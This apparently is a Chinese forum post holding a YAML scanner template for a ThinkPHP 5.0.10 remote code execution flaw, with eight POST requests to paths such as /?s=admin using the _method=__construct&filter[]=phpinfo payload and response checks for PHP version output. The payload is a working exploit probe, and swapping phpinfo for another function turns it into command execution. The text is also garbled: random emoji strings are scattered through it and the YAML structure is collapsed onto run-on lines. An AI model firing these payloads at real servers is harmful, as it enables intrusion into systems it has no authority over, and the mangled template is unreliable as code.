thinkphp-5010-rce漏洞 |
漏洞文件后缀名是.yaml
id: thinkphp-5010-rce info: name: ThinkPHP 5.0.10 RCE 👏🏠🥄♏🦕 author: zan8in severity: critical description: ThinkPHP <= 5.0.13 reference: - https://github.com/Lotus6/ThinkphpGUI/blob/main/ThinkphpGUI/src/main/java/exploit/ 🙏🗽🍊⚛🐠 rules: r0: request: method: POST 🤌🚐🍌♏🪰 path: /?s=indexbody: | s=-1&_method=__construct&method=post&filter[]=phpinfo expression: 状态码 == 200 && 是否包含(响应内容,'PHP Extension') && 是否包含(响应内容,'PHP Version') && 正则匹配('>PHP Version <\/td><td class="v">([0-9.]+)',响应内容) r1: 👀🚗🎂🅾🐥 request:method: POST path: /?s=manage body: | s=-1&_method=__construct&method=post&filter[]=phpinfo ✋🌕🍒☯🐶 expression: 状态码 == 200 && 是否包含(响应内容,'PHP Extension') && 是否包含(响应内容,'PHP Version') && 正则匹配('>PHP Version <\/td><td class="v">([0-9.]+)',响应内容)r2: request: method: POST path: /?s=admin🧑🚀🪖🔑😛🖕 body: | s=-1&_method=__construct&method=post&filter[]=phpinfo expression: 状态码 == 200 && 是否包含(响应内容,'PHP Extension') && 是否包含(响应内容,'PHP Version') && 正则匹配('>PHP Version <\/td><td class="v">([0-9.]+)',响应内容) r3: request: 👃🌧🍚🚷🦋 method: POST path: /?s=api body: | s=-1&_method=__construct&method=post&filter[]=phpinfo expression: 状态码 == 200 && 是否包含(响应内容,'PHP Extension') && 是否包含(响应内容,'PHP Version') && 正则匹配('>PHP Version <\/td><td class="v">([0-9.]+)',响应内容) 👄🚠☯🐶 r4: request: method: POST path: /?s=index body: |🧑🚀🧢🔑😍✍ _method=__construct&method=get&filter[]=phpinfo&get[]=-1 expression: 状态码 == 200 && 是否包含(响应内容,'PHP Extension') && 是否包含(响应内容,'PHP Version') && 正则匹配('>PHP Version <\/td><td class="v">([0-9.]+)',响应内容) r5: request: method: POST 👃🎠🎂🆚🐝 path: /?s=manage body: | _method=__construct&method=get&filter[]=phpinfo&get[]=-1 expression: 状态码 == 200 && 是否包含(响应内容,'PHP Extension') && 是否包含(响应内容,'PHP Version') && 正则匹配('>PHP Version <\/td><td class="v">([0-9.]+)',响应内容) r6:🧒👗😉👎 request: method: POST path: /?s=admin body: | _method=__construct&method=get&filter[]=phpinfo&get[]=-1 🚐🥣♀🐖 expression: 状态码 == 200 && 是否包含(响应内容,'PHP Extension') && 是否包含(响应内容,'PHP Version') && 正则匹配('>PHP Version <\/td><td class="v">([0-9.]+)',响应内容) r7: request: method: POST path: /?s=api 👎🌧🥩🅰🦚 body: | _method=__construct&method=get&filter[]=phpinfo&get[]=-1 expression: 状态码 == 200 && 是否包含(响应内容,'PHP Extension') && 是否包含(响应内容,'PHP Version') && 正则匹配('>PHP Version <\/td><td class="v">([0-9.]+)',响应内容) expression: r0() || r1() || r2() || r3() || r4() || r5() || r6()|| r7()
帖子热度 753 ℃
|
|